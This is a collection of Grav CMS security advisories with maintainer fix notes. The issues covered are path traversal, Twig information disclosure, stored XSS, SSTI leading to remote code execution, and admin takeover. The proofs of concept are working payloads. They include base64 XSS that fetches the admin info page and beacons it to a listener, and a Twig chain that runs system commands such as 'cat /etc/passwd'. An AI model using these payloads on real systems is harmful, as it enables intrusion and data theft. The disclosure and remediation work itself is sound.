- Complexity: Low. Requires only basic HTTP POST parameters. - Reliability: 100% (Deterministically reproducible in vulnerable versions). - Severity: Critical / High. The vulnerability requires no authentication and allows filesystem manipulation and session data corruption.
Remediation
1. Sanitize Session IDs: Apply basename() or a strict alphanumeric regex to the sessionid in FormFlash before path construction. 2. Filesystem Hardening: Ensure user/config/ and other sensitive directories have restrictive permissions preventing the webserver from creating new subdirectories. 3. Update Grav: Monitor for patches addressing FormFlash sanitization.
---
Maintainer note — fix applied (2026-04-24)
Fixed in Grav core on the 2.0 branch: commit d904efc33 — will ship in 2.0.0-beta.2.
What changed: FormFlash::construct() now sanitizes sessionid, uniqueid, and id through a strict [A-Za-z0-9,-]{1,64} allowlist before any path is constructed from them. Invalid values collapse to '', which causes save()/delete()/getTmpDir() to no-op — so a form-flash-id=../../user/config/proofdir POST simply does nothing on disk.
Files:
- system/src/Grav/Framework/Form/FormFlash.php - tests/unit/Grav/Common/Security/FormFlashSecurityTest.php — 32 test cases covering the PoC + variants.
Summary Information disclosure exists in Grav CMS v1.8.0-beta.29. Despite previous security patches (notably in v1.8.0-beta.27/28) aimed at restricting sensitive object access within the Twig environment, the Accounts Service remains exposed.
A low-privileged user (EX: Content Editor with only pages.update permissions) can bypass the existing Twig sandbox restrictions by utilizing the grav['accounts'] service. Attacker can programmatically load administrative user objects and extract sensitive data, including Bcrypt password hashes and the security salt.
Affected version Grav CMS: v1.8.0-beta.29 (and earlier 1.8.x beta versions).
Note: This vulnerability persists even after the vendor attempted to mitigate similar SSTI vectors in earlier beta releases.
Steps to Reproduce 1. Create a low-privileged account (MY CASE IS 'editorchen') with permissions limited to admin.login and basic page management (create, update, list). Ensure all administrative permissions (Configuration, User Accounts, ...) are explicitly Denied.
2. Login to the Admin panel using editorchen. Navigate to Pages and edit the Home page.
3. Under the Advanced tab, ensure Process Twig is enabled .
4. In the Content tab, inject the following Twig payload designed to bypass the isDangerousFunction filter by accessing the internal service container: --- title: Information Disclosure Test process: twig: true --- Security Audit Results - Admin Password Hash: {{ grav['accounts'].load('admin').get('hashedpassword') }} - Security Salt: {{ grav.config.get('security.salt') }} <img width="1176" height="618" alt="GRAV" src="https://github.com/user-attachments/assets/7970216a-2dc6-4d1b-8dfd-b64f3712c9c5" />
5. Click Save. And navigate to the public page (http://localhost:8000/home). Page will render and display the administrator's Bcrypt hash and the system security salt. <img width="1278" height="462" alt="GRAV2" src="https://github.com/user-attachments/assets/33b7b894-6ae3-4d29-bd2d-8004e9b343e0" />
PoC --- title: Information Disclosure Test process: twig: true --- Security Audit Results - Admin Password Hash: {{ grav['accounts'].load('admin').get('hashedpassword') }} - Security Salt: {{ grav.config.get('security.salt') }}
Impact Attackers can obtain the password hashes of all registered users, including Super Administrators.
Extracted hashes can be subjected to offline brute-force or dictionary attacks (EX: USE Hashcat)
Video Pls refer to the attached video <video src="https://github.com/user-attachments/assets/74d5ae41-7911-4099-b2cc-e6c51b27c68c" controls="controls" style="max-width: 100%;"> </video>
---
Maintainer note — fix applied (2026-04-24)
Fixed in Grav core on the 2.0 branch: commit d904efc33 — will ship in 2.0.0-beta.2.
What changed: the HMAC key formerly stored as security.salt in user/config/security.yaml has moved out of the Config tree into user/config/security-private.php. On upgrade, the existing salt value is migrated into the new file on first request (preserving CSRF nonces and sessions) and the key is scrubbed from both the live Config object and the on-disk YAML — so {{ grav.config.get('security.salt') }} from a sandboxed Twig template now returns null. The .php extension is blocked from web access by the default user/.php htaccess rule; the file contains only a return statement, so direct PHP exec produces no output either.
The PoC's password-hash half (grav['accounts'].load('admin').get('hashedpassword')) was already covered by the new Twig content sandbox in 2.0.0-beta.2 — UserCollection::load is not in the sandbox allowlist — see the separate GHSA-58hj-46fw-rcfm advisory.
Files: - system/src/Grav/Common/Security.php — new Security::getNonceKey() + migration. - system/src/Grav/Common/Utils.php — generateNonceString now uses the new key. - system/src/Grav/Common/Service/SessionServiceProvider.php. - system/src/Grav/Common/Config/Setup.php — removed auto-gen of security.salt. - system/config/security.yaml — removed placeholder salt:. - tests/unit/Grav/Common/Security/NonceKeySecurityTest.php — migration + generation coverage.
Summary A low-privileged (with the ability to create a page) user can cause XSS with the injection of svg element. The XSS can further be escalated to dump the entire system information available under /admin/config/info whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE).
Details Affected endpoint: admin/pages/<page> Affected code: system/src/Grav/Common/Security.php
php public static function detectXss($string, array $options = null): ?string { // Skip any null or non string values if (null === $string || !isstring($string) || empty($string)) { return null; }
if (null === $options) { $options = static::getXssDefaults(); }
$enabledrules = (array)($options['enabledrules'] ?? null); $dangeroustags = (array)($options['dangeroustags'] ?? null); if (!$dangeroustags) { $enabledrules['dangeroustags'] = false; } $invalidprotocols = (array)($options['invalidprotocols'] ?? null); if (!$invalidprotocols) { $enabledrules['invalidprotocols'] = false; } $enabledrules = arrayfilter($enabledrules, static function ($val) { return !empty($val); }); if (!$enabledrules) { return null; }
// Keep a copy of the original string before cleaning up $orig = $string;
// URL decode $string = urldecode($string);
// Convert Hexadecimals $string = (string)pregreplacecallback('!(&#|\\\)xX;?!u', static function ($m) { return chr(hexdec($m[2])); }, $string);
// Clean up entities $string = pregreplace('!(&#[0-9]+);?!u', '$1;', $string);
// Decode entities $string = htmlentitydecode($string, ENTNOQUOTES | ENTHTML5, 'UTF-8');
// Strip whitespace characters $string = pregreplace('!\s!u', ' ', $string); $stripped = pregreplace('!\s!u', '', $string);
// Set the patterns we'll test against $patterns = [ // Match any attribute starting with "on" or xmlns 'onevents' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s=[\s|\'\"].[\s|\'\"]>#iUu',
// Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols 'invalidprotocols' => '#(' . implode('|', arraymap('pregquote', $invalidprotocols, ['#'])) . ')(:|\&\#58)\S.?#iUu',
// Match -moz-bindings 'mozbinding' => '#-moz-binding[a-z\x00-\x20]:#u',
// Match style attributes 'htmlinlinestyles' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(style=[^>](url\:|x\:expression).)>?#iUu',
// Match potentially dangerous tags 'dangeroustags' => '#</(' . implode('|', arraymap('pregquote', $dangeroustags, ['#'])) . ')[^>]>?#ui' ];
// Iterate over rules and return label if fail foreach ($patterns as $name => $regex) { if (!empty($enabledrules[$name])) { if (pregmatch($regex, $string) || pregmatch($regex, $stripped) || pregmatch($regex, $orig)) { return $name; } } }
return null; }
Specifically the line:
php 'onevents' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s=[\s|\'\"].[\s|\'\"]>#iUu',
assumes that the onevents will always begin with either whitespace, ', " which can easily be bypassed with a simple payload like:
<img src=x onload=alert('1')>
This XSS Filter practice is broken. 1. Blacklisting every possible scenario that leads to XSS isn't possible. 2. Regex can't parse HTML.
It would be better to use an HTMLPurifier. PoC Grav Core + Admin Plugin Grav Version: v1.7.49.5 - Admin v1.10.49.1
1. Create a low-privileged user with only enough permission to login and perform CRUD on Pages. !User Perms
2. Login as the low-privileged user and browse to pages: !Pages
3. Create a post with the following content: <svg><foreignObject><img src=x onerror=eval(atob('KGFzeW5jKCk9PntsZXQgcj1hd2FpdCBmZXRjaCgnL2dyYXYtYWRtaW4vYWRtaW4vY29uZmlnL2luZm8nKTtsZXQgdD1hd2FpdCByLnRleHQoKTtuYXZpZ2F0b3Iuc2VuZEJlYWNvbignaHR0cDovLzEyNy4wLjAuMTo4MDAxL2dyYXYtbG9nJyx0KX0pKCk7'))></foreignObject></svg>
The payload base64 is decoded to:
javascript (async()=>{let r=await fetch('/grav-admin/admin/config/info');let t=await r.text();navigator.sendBeacon('http://127.0.0.1:8001/grav-log',t)})();
whenever a user with enough privilege visits the attacker-controlled page, a request will be made to the info endpoint and the response will be sent to attacker beacon/listener.
4. Save !Post Created
5. Start a ncat listener on port 8001.
bash ┌──(kali㉿kali)-[~] └─$ ncat -lvnp 8001 Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Listening on [::]:8001 Ncat: Listening on 0.0.0.0:8001 Ncat: Connection from 127.0.0.1:44658.
6. Now as a Super Admin visit the / of Grav http://localhost/grav-admin/ for me: !Visiting Grav
7. We get a response with the admin-nonce and the entire system information:
┌──(kali㉿kali)-[~] └─$ ncat -lvnp 8001 Ncat: Version 7.95 ( https://nmap.org/ncat ) Ncat: Listening on [::]:8001 Ncat: Listening on 0.0.0.0:8001 Ncat: Connection from 127.0.0.1:44658. POST /grav-log HTTP/1.1 Host: 127.0.0.1:8001 User-Agent: Mozilla/5.0 (X11; Linux x8664; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br, zstd Content-Type: text/plain;charset=UTF-8 Content-Length: 127013 Origin: http://localhost/ Connection: keep-alive Referer: http://localhost/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: no-cors Sec-Fetch-Site: cross-site Priority: u=6
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Configuration: Info | Grav</title> <meta name="description" content=""> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="icon" type="image/png" href="/grav-admin/user/plugins/admin/themes/grav/images/favicon.png">
<script type="text/javascript"> window.GravAdmin = window.GravAdmin || {}; window.GravAdmin.config = { currenturl: '/grav-admin/admin/config/info', baseurlrelative: '/grav-admin/admin', baseurlsimple: '/grav-admin', route: 'info', paramsep: ':', enableautoupdatescheck: '1', admintimeout: '1800', adminnonce: '1265db72d897b4324cbe7d1781e66e3b', <SNIPPED>
Impact
This is a Stored Cross-Site Scripting (XSS) vulnerability exploitable by a low-privileged user, which leads to exfiltration of the admin session context, including the adminnonce. This nonce can be abused to bypass CSRF protections and authenticate further requests to sensitive admin endpoints. Given Grav’s support for scheduled tasks and extensible plugin architecture, this can be escalated to Remote Code Execution (RCE) under favorable conditions.
Affected Component: Grav Core + Admin Plugin (v1.7.49.5 / v1.10.49.1) Impact: Full system compromise via RCE chain originating from low-privilege XSS.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H Overall CVSS Score: 9.0 High Impact
---
---
Maintainer note — fix applied (2026-04-24)
Fixed in Grav core on the 2.0 branch: commit 5a12f9be8 — will ship in 2.0.0-beta.2. Two changes in tandem:
1. Regex bypass (detection layer) — the onevents regex that missed unquoted handlers is tightened; see the companion GHSA-9695-8fr9-hw5q advisory for details.
2. Missing dangerous tags — svg, math, option, and select have been added to default security.xssdangeroustags in system/config/security.yaml. svg and math allow inline scripting through their XML namespace and event-handler surface; option/select are the tags attackers use to break out of the admin's select-template context before dropping the payload.
Combined with the tightened onevents regex, the PoC <svg>…<script>…</script></svg> (and the GHSA-c2q3 </option></select><img src=x onerror=alert(1)> variant) now trip at least one detector.
Files: - system/config/security.yaml — dangerous-tags list extended. - system/src/Grav/Common/Security.php — regex tightening. - tests/unit/Grav/Common/Security/DetectXssTest.php.
Summary A stored Cross-Site Scripting (XSS) vulnerability in getgrav/grav allows publisher-level accounts to execute arbitrary JavaScript. The issue arises from a blacklist bypass in the detectXss() function when handling unquoted HTML event attributes.
Details The detectXss() function relies on a blacklist pattern to filter malicious attributes. The specific regex pattern used to match on events is flawed: php 'onevents' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s=[\s|\'\"].[\s|\'\"]>#iUu' This pattern fails to properly identify on event handlers that are constructed without quotation marks. This allows an attacker to completely bypass the filter. Note: It is highly recommended to replace this blacklist approach with a robust, established HTML sanitization library.
PoC An attacker with publisher-level access can reproduce this by injecting the following payload into any vulnerable content field: html <img src=x onerror=eval(atob(/YWxlcnQoZG9jdW1lbnQuY29va2llKQ/.source))> <img width="1889" height="482" alt="image1" src="https://github.com/user-attachments/assets/0f1a339b-25a8-4b6e-91af-8c59e6a39297" /> <img width="3055" height="920" alt="image2" src="https://github.com/user-attachments/assets/12680058-bbb3-4446-b58e-515533bb4e90" /> <img width="2909" height="1339" alt="image3" src="https://github.com/user-attachments/assets/c7ed7e61-8dcf-402d-8589-98d18978c71a" />
Execution Details: The onerror event is written without quotes to bypass the regex. Because unquoted attributes are restricted in their character usage (e.g., the = symbol cannot be used easily), the payload leverages atob() and regex .source to decode the base64 string YWxlcnQoZG9jdW1lbnQuY29va2llKQ (which translates to alert(document.cookie)). The atob() function conveniently auto-completes the necessary = padding for the base64 string.
Impact - Vulnerability Type: Stored Cross-Site Scripting (XSS) - Impacted Parties: Any user (including administrators) who views the compromised content published by the attacker. - Consequences: Attackers can execute malicious scripts in a victim's browser, leading to session hijacking (cookie theft), unauthorized actions.
---
Maintainer note — fix applied (2026-04-24)
Fixed in Grav core on the 2.0 branch: commit 5a12f9be8 — will ship in 2.0.0-beta.2.
What changed: the onevents regex in Security::detectXss() no longer requires quotes or whitespace around =. The previous form:
'onevents' => '#(<[^>]+[\s\x00-\x20\"\'\/])(on\s[a-z]+|xmlns)\s=[\s|\'\"].[\s|\'\"]>#iUu'
required [\s|'"] immediately after the =, so <img src=x onerror=alert(1)> slid past. The new regex drops the value-matching tail entirely and just flags the presence of an on= attribute anywhere inside a tag:
'onevents' => '#<[^>]?\s\x00-\x20\"\'\/\s=#iu'
Detecting the attribute name + = is enough for a tripwire — the trade-off is occasional false positives on legitimate attribute values containing on= substrings, which the maintainer can hand-approve.
This same regex bypass was the detection-layer half of GHSA-c2q3-p4jr-c55f and GHSA-w8cg-7jcj-4vv2; the fix here knocks both down.
Files: - system/src/Grav/Common/Security.php. - tests/unit/Grav/Common/Security/DetectXssTest.php — 18 cases: unquoted PoCs, quoted-form regression, safe-content negatives.
Summary
An authenticated user with page editing permissions can inject an executable JavaScript event-handler attribute into rendered image HTML through Grav's Markdown media action syntax.
The issue is caused by Markdown image query parameters being converted into callable media actions. The public attribute() media method can be reached this way, allowing an editor to set an arbitrary HTML attribute name and value on the generated image element.
For example, this Markdown:
markdown !Quarterly market overview)
is rendered as an image tag containing an executable onload handler:
html <img onload="alert(document.domain)" alt="Quarterly market overview" src="/user/pages/03.campaigns/market-overview.gif?...">
This results in stored XSS when another user views the affected page. In a multi-user Grav installation, a lower-privileged page editor could use this to target administrators or reviewers who preview or view editor-controlled content.
Tested versions:
- Grav CMS: 1.7.49.5 - Admin Plugin: 1.10.49.1
Suggested classification:
- CWE-79: Improper Neutralization of Input During Web Page Generation - Stored Cross-Site Scripting - Suggested CVSS v4.0 score if page editing is considered high privilege: 6.9 Medium - Suggested CVSS v4.0 vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N - Suggested CVSS v3.1 score if page editing is considered high privilege: 6.9 Medium - Suggested CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N
Details
The issue appears to come from this source-to-sink flow:
1. ParsedownGravTrait::inlineImage() processes Markdown images. 2. Excerpts::processImageExcerpt() resolves the referenced media object. 3. Excerpts::processMediaActions() parses the image URL query string into media actions. 4. calluserfuncarray() invokes the requested action method on the media object. 5. MediaObjectTrait::attribute() stores the attacker-controlled attribute name and value. 6. The media object returns a Parsedown element containing the injected attribute. 7. Parsedown renders the attribute name into the final HTML.
Relevant code paths:
text system/src/Grav/Common/Markdown/ParsedownGravTrait.php system/src/Grav/Common/Page/Markdown/Excerpts.php system/src/Grav/Common/Media/Traits/MediaObjectTrait.php system/src/Grav/Common/Page/Medium/StaticImageMedium.php system/src/Grav/Common/Page/Medium/ImageMedium.php vendor/erusev/parsedown/Parsedown.php
In system/src/Grav/Common/Markdown/ParsedownGravTrait.php, Markdown image excerpts are passed into Grav-specific media handling:
php if (isset($excerpt['element']['attributes']['src'])) { $excerpt = $this->excerpts->processImageExcerpt($excerpt); }
In system/src/Grav/Common/Page/Markdown/Excerpts.php, query string parameters are converted into media action calls. The query parameter name becomes the method name:
php $carry[] = ['method' => $parts[0], 'params' => $value];
The requested method is later invoked dynamically:
php $medium = calluserfuncarray([$medium, $action['method']], $args);
For the payload:
text attribute=onload,alert(document.domain)
the method is attribute, and the arguments are onload and alert(document.domain).
In system/src/Grav/Common/Media/Traits/MediaObjectTrait.php, attribute() stores the caller-controlled attribute name directly:
php public function attribute($attribute = null, $value = '') { if (!empty($attribute)) { $this->attributes[$attribute] = $value; } return $this; }
The image media classes then return the collected attributes as attributes for an img element.
In system/src/Grav/Common/Page/Medium/StaticImageMedium.php:
php return ['name' => 'img', 'attributes' => $attributes];
The non-static image path in system/src/Grav/Common/Page/Medium/ImageMedium.php also returns image attributes in the same way.
Finally, in vendor/erusev/parsedown/Parsedown.php, the attribute value is escaped, but the attribute name is rendered as-is:
php $markup .= ' '.$name.'="'.self::escape($value).'"';
As a result, the attacker-controlled attribute name onload is emitted into the final HTML and executes as a browser event handler.
The Admin Plugin's save-time XSS detection does not appear to block this because the stored content is Markdown media syntax, not raw HTML:
markdown !Quarterly market overview)
The dangerous HTML is generated later during Markdown/media rendering.
PoC
I reproduced this on a standard Grav CMS installation with the Admin Plugin enabled.
Configuration and prerequisites:
- Grav CMS 1.7.49.5 - Admin Plugin 1.10.49.1 - Markdown processing enabled for pages - A user account with permission to create or edit pages - A page media file available in the edited page folder, for example market-overview.gif
Steps to reproduce:
1. Install Grav CMS with the Admin Plugin. 2. Log in to the Admin panel as a user who can create or edit pages. 3. Create a normal content page or edit an existing one. 4. Add or reference a page media file named market-overview.gif. 5. Insert the following Markdown into the page body:
markdown !Quarterly market overview)
6. Save the page. 7. Open the rendered frontend page in a browser. 8. The JavaScript payload executes when the image loads. 9. Inspect the generated DOM. The rendered image element contains the injected onload attribute.
Expected result:
The Markdown media action should not be able to generate executable HTML attributes. The payload should be rejected, sanitized, or rendered without the dangerous event-handler attribute.
Actual result:
The payload is accepted and rendered as an executable image event handler:
html <img onload="alert(document.domain)" alt="Quarterly market overview" src="/user/pages/03.campaigns/market-overview.gif?...">
Screenshots:
- the stored Markdown payload in the page editor <img width="1718" height="1013" alt="edycja" src="https://github.com/user-attachments/assets/8f5e5275-e4ef-4d5e-a2cd-44683537b909" /> - the JavaScript alert executing on the frontend page <img width="1727" height="1002" alt="alert" src="https://github.com/user-attachments/assets/6de81228-830c-49f2-ac41-b15658a8913d" /> - browser DevTools showing the injected onload attribute in the rendered DOM <img width="939" height="539" alt="inspect" src="https://github.com/user-attachments/assets/7832c42d-6f3a-4ea2-b072-b837bd3913ed" />
Impact
This is a stored cross-site scripting vulnerability.
An authenticated user with page editing permissions can store a malicious Markdown image reference. When the affected page is rendered, the payload executes in the browser of any user who views that page.
In multi-user Grav installations, this may allow a lower-privileged editor to target administrators, reviewers, or other privileged users who preview or view editor-controlled content. Depending on the victim's privileges and deployed plugins, successful exploitation may allow JavaScript execution in the site origin, access to same-origin page data available to the victim, and same-origin actions performed as the victim.
CVSS 4.0 rationale:
- AV:N: the issue is exploitable through the web application. - AC:L: no special race condition or complex setup is required after page editing access is obtained. - AT:P: exploitation requires the malicious Markdown/media reference to be stored in page content and later rendered to a victim. - PR:H: the attacker needs page editing capability. - UI:P: a victim must view the affected page. The demonstrated onload payload executes on passive page rendering, without requiring a click or form submission by the victim. - VC:H/VI:L/VA:N: confidentiality impact can be high when the victim is an administrator or reviewer; integrity impact is limited; no direct availability impact was demonstrated. - SC:H/SI:L/SA:N: the injected script executes in the browser/application context and may affect subsequent same-origin interactions available to the victim.
Maintainer note — fix applied (2026-04-24)
Fixed in Grav core on the 2.0 branch: commit 5a12f9be8 — will ship in 2.0.0-beta.2.
What changed: MediaObjectTrait::attribute() — the sink reached by Markdown like !alt) — now gates the attribute name through an allowlist regex (^[A-Za-z][A-Za-z0-9:.\-]$) plus an explicit denylist of script-context names:
- any on handler (case-insensitive) - style (inline CSS expression risk) - xmlns (XML namespace tricks) - srcdoc (iframe sandbox bypass) - formaction (form action override)
Invalid names are silently dropped — the attribute isn't stored, so it doesn't survive into the rendered <img>. src/href/data-/aria-/standard media attributes are unaffected.
Files: - system/src/Grav/Common/Media/Traits/MediaObjectTrait.php — new isSafeAttributeName() gate. - tests/unit/Grav/Common/Security/MediaAttributeSecurityTest.php — 28 cases (14 dangerous-name rejections, 14 safe-name round-trips).
Discoverers
@K-Czaplicki @morzelowski
---
GravCMS 1.10.7 contains an unauthenticated vulnerability that allows remote attackers to write arbitrary YAML configuration and execute PHP code through the scheduler endpoint. Attackers can exploit the admin-nonce parameter to inject base64-encoded payloads and create malicious custom jobs with system command execution.
Grav CMS v1.7.x and before is vulnerable to XML External Entity (XXE) through the SVG file upload functionality in the admin panel and File Manager plugin.
grav before v1.7.49.5 has a Stored Cross-Site Scripting (Stored XSS) vulnerability in the page editing functionality. An authenticated low-privileged user with permission to edit content can inject malicious JavaScript payloads into editable fields. The payload is stored on the server and later executed when any other user views or edits the affected page.
In grav <1.7.49.5, a SSRF (Server-Side Request Forgery) vector may be triggered via Twig templates when page content is processed by Twig and the configuration allows undefined PHP functions to be registered
Summary A Server-Side Template Injection (SSTI) vulnerability exists in Grav that allows authenticated attackers with editor permissions to execute arbitrary commands on the server and, under certain conditions, may also be exploited by unauthenticated attackers. This vulnerability stems from weak regex validation in the cleanDangerousTwig method.
Important - First of all this vulnerability is due to weak sanitization in the method clearDangerousTwig, so any other class that calls it indirectly through for example $twig->processString to sanitize code is also vulnerable.
- For this report, we will need the official Form and Admin plugin installed, also I will be chaining this with another vulnerability to allow an editor which is a user with only pages permissions to edit the process section of a form.
- I made another report for the other vulnerability which is a Broken Access Control which allows a user with full permission for pages to change the process section by intercepting the request and modifying it.
Permissions Needed - The main case for this vulnerability is an editor which can unconditionally takeover the whole system through creating a vulnerable form. - Second case is as an unauthenticated user, so if the form exists already and accepts user input and puts it through evaluatetwig, a guest can takeover the system.
Details When we make a form with a process section and a message action, when the form is submitted we get to deal with onFormProcess in form.php through the message case:
php case 'message': $translatedstring = $this->grav['language']->translate($params); $vars = array( 'form' => $form );
/ @var Twig $twig / $twig = $this->grav['twig']; $processedstring = $twig->processString($translatedstring, $vars);
$form->message = $processedstring; break;
Which takes our parameters as in our action values, like in our case the value of our message action and sends it to processString which then calls the method cleanDangerousTwig from Security.php, now here's where we find the vulnerability is caused by two things:
- First of all is weak regex which doesn't account for nested function calls, which allows us to bypass this function's sanitization - Second issue which is the evaluate and evaluatetwig functions which are allowed, and since we can call Twig syntax from inside them, it will lead to nested function calls which we can bypass and thus execute arbitrary payloads.
php public static function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; // This allows for a payload like {{ evaluate("readfile('/etc/passwd')") }} $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string); return $string; }
PoC
First to showcase how the function handles the payload, I built a small php program that replicates the behavior of cleanDangerousTwig:
php <?php
function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);
return $string; }
$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");
We can run the program with this payload:
bash php ok.php "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('cat /etc/passwd') }}"
Our payload goes through and not one malicious function is filtered:
evaluatetwig('{# {{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} #} {# {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} #} {# {{ grav.twig.twig.getFunction('cat /etc/passwd') }} #}')
Now we know that our payload definitely works so let's try it through a custom form this time, as an editor:
- Go to pages - Add a page and create a new form or choose an exiting one
We will be using another vulnerability I found which is a Broken Access Control vulnerability, which allows an editor with basically only pages rights to modify a form's action sections without being in expert mode ( please refer to it's report ), so when we go to our form and save it, we can intercept the request and inject the following payload into data[json][header][form] which is the header for our form which we shouldn't normally be able to modify:
{"name":"ssti-test 2","fields":{"name":{"type":"text","label":"Name","required":true}},"buttons":{"submit":{"type":"submit","value":"Submit"}},"process":[]}
URL-encode it before sending it should look something like this:
!image
!image
Request sent and processed! Now when you go to our form file you can see added a process section with the value of message changed:
!image
Content of form:
title: Home process: markdown: true twig: true form: name: test fields: name: type: text label: Name required: true buttons: submit: type: submit value: submit process: - message: '{{ evaluatetwig(form.value(''name'')) }}'
Now in the process section, notice our message action is gonna take value from the Name input, using the following payload we will execute the command id on the system:
{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }} {% set a = grav.config.set('system.twig.undefinedfunctions',false) %} {{ grav.twig.twig.getFunction('id') }}
Now we can visit the page and input our payload, submit and we got command result:
!image
Impact
Allows an attacker to execute arbitrary commands, leading to full system compromise, including unauthorized access, data theft, privilege escalation, and disruption of services.
Recommended Fix
- Blacklist both the evaluate and evaluatetwig functions. - We could add second check to cleanDangerousTwig where we would look for each malicious function no matter it's position:
php <?php
function cleanDangerousTwig(string $string): string { if ($string === '') { return $string; }
$badtwig = [ 'twigarraymap', 'twigarrayfilter', 'calluserfunc', 'registerUndefinedFunctionCallback', 'undefinedfunctions', 'twig.getFunction', 'core.setEscaper', 'twig.safefunctions', 'readfile', ]; $string = pregreplace('/(({{\s|{%\s)[^}]?(' . implode('|', $badtwig) . ')[^}]?(\s}}|\s%}))/i', '{# $1 #}', $string);
foreach ($badtwig as $func) { $string = pregreplace('/\b' . pregquote($func, '/') . '(\s\([^)]\))?\b/i', '{# $1 #}', $string); }
return $string; }
$x = $argv[1]; echo cleanDangerousTwig("evaluatetwig('$x')");
When we run this, the result is: evaluatetwig('{# {{ grav.twig.twig.{# #}('system') }} #} {# {% set a = grav.config.set('system.twig.{# #}',false) %} #} {# {{ grav.twig.{# #}('cat /etc/passwd') }} #}') You can see we managed to stop the payload and filter out the malicious functions.
Summary When a user with privilege of user creation creates a new user through the Admin UI and supplies a username containing path traversal sequences (for example ..\Nijat or ../Nijat), Grav writes the account YAML file to an unintended path outside user/accounts/. The written YAML can contain account fields such as email, fullname, twofasecret, and hashedpassword. In my tests, I was able to cause the Admin UI to write the following content into arbitrary .yaml files (including files like email.yaml, system.yaml, or other site YAML files like admin.yaml) — demonstrating arbitrary YAML write / overwrite via the Admin UI.
Example observed content written by the Admin UI (test data): username: ..\Nijat state: enabled email: EMAIL@gmail.com fullname: 'Nijat Alizada' language: en contenteditor: default twofaenabled: false twofasecret: RWVEIHC2AFVD6FCR6UHCO3DS4HWXKKDT avatar: { } hashedpassword: $2y$10$wl9Ktv3vUmDKCt8o6u2oOuRZr1I04OE0YZf2sJ1QcAherbNnk1XVC access: site: login: true
Steps to Reproduce 1. Log in to the Grav Admin UI as an administrator. 2. Create a new user with the following values (example): a. Username: ..\POC-TOKEN-2025-09-29 b. Fullname: POC-TOKEN-2025-09-29 c. Email: poc+2025-09-29@example.test d. Password: (any password) Observe that a YAML file containing the POC-TOKEN is written outside user/accounts/ (for example in the parent directory of user/accounts)
Impact 1. Config corruption / service disruption: Overwriting system.yaml, email.yaml, or plugin config files with attacker-controlled YAML (even if limited to fields present in account YAML) could break functionality, disable services, or cause misconfiguration requiring recovery from backups. 2. Account takeover, any user with create user privilege can modify other user's email and password by just creating a new user with the name "..\accounts\USERNAMEOFVICTIM"
Proof of Concept https://github.com/user-attachments/assets/cf503d74-f765-4031-8e22-71f6b3630847
Summary A privilege escalation vulnerability exists in Grav’s Admin plugin due to the absence of username uniqueness validation when creating users. A user with the create user permission can create a new account using the same username as an existing administrator account, set a new password/email, and then log in as that administrator. This effectively allows privilege escalation from limited user-manager permissions to full administrator access.
Steps to Reproduce 1. Make sure you have two accounts: an admin and a user with create user privilege 2. In the user account, navigate to /grav-admin/admin/accounts/users and click "Add" 3. Enter the name of the admin, complete registration and observe that the existing admin’s email is changed to the value you provided. 4. Log out from user account log in as admin with new credentials
Impact 1. Full admin takeover by any user with create user permission. 2. Ability to change admin credentials, install/remove plugins, read or modify site data, and execute any action available to an admin. 3. Severity: High/Critical.
PoC https://github.com/user-attachments/assets/3ab0a7d6-5055-41be-9e0e-2bd6ca359b37
Grav v1.7.49.5 / Admin v1.10.49.1 – User Enumeration & Email Disclosure
Summary A user enumeration and email disclosure vulnerability exists in Grav v1.7.49.5 with Admin plugin v1.10.49.1. The "Forgot Password" functionality at /admin/forgot leaks information about valid usernames and their associated email addresses through distinct server responses. This allows an attacker to enumerate users and disclose sensitive email addresses, which can be leveraged for targeted attacks such as password spraying, phishing, or social engineering.
Details
The issue resides in the taskForgot() function, which handles the forgot password workflow. Relevant vulnerable logic:
php if (null === $user || $user->state !== 'enabled' || !$to) { ... // Generic message for invalid/non-existing users $this->setMessage($this->translate('PLUGINADMIN.FORGOTINSTRUCTIONSSENTVIAEMAIL')); return $this->createRedirectResponse($current); }
if ($rateLimiter->isRateLimited($username)) { ... $interval = $config->get('plugins.login.maxpwresetsinterval', 2);
// Sensitive message for valid users $this->setMessage($this->translate('PLUGINLOGIN.FORGOTCANNOTRESETITISBLOCKED', $to, $interval), 'error');
return $this->createRedirectResponse($current); }
When an attacker submits the password reset form at /admin/forgot with an invalid username, the application responds with:
Instructions to reset your password have been sent to your email address
